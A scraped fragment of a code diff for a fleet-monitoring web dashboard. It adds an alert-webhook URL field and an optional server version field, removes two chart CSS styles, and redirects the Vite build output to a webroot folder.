onChange={(e) => updateField('alerts.webhook_url', e.target.value)} placeholder="https://hooks.example.com/fleet" />
|
||||
<p className="field-hint">JSON POST: event, title, message — on connect, offline, and other enabled alerts.</p>
|
||||
|
||||
@@ -58,15 +58,6 @@
|
||||
color: var(--accent-red);
|
||||
}
|
||||
|
||||
.chart-live.sample {
|
||||
color: var(--brass-light);
|
||||
text-shadow: 0 0 8px rgba(232, 197, 71, 0.35);
|
||||
}
|
||||
|
||||
.chart-live.blend {
|
||||
color: var(--neon-amber);
|
||||
}
|
||||
|
||||
.chart-empty.wealth-empty {
|
||||
min-height: 280px;
|
||||
background: linear-gradient(180deg, rgba(201, 162, 39, 0.04), transparent);
|
||||
|
||||
@@ -134,6 +134,8 @@ export interface ServerInfo {
|
||||
suggested_url: string;
|
||||
dashboard_url: string;
|
||||
websocket_url: string;
|
||||
/** Server application version string (e.g. "v1.2.3"). */
|
||||
version?: string;
|
||||
}
|
||||
|
||||
export interface BuildExtraFile {
|
||||
|
||||
@@ -20,7 +20,8 @@ export default defineConfig({
|
||||
},
|
||||
},
|
||||
build: {
|
||||
outDir: 'dist',
|
||||
outDir: '../webroot',
|
||||
emptyOutDir: true,
|
||||
sourcemap: false,
|
||||
rollupOptions: {
|
||||
output: {
|
||||
|
||||
Reference in New Issue
Block a user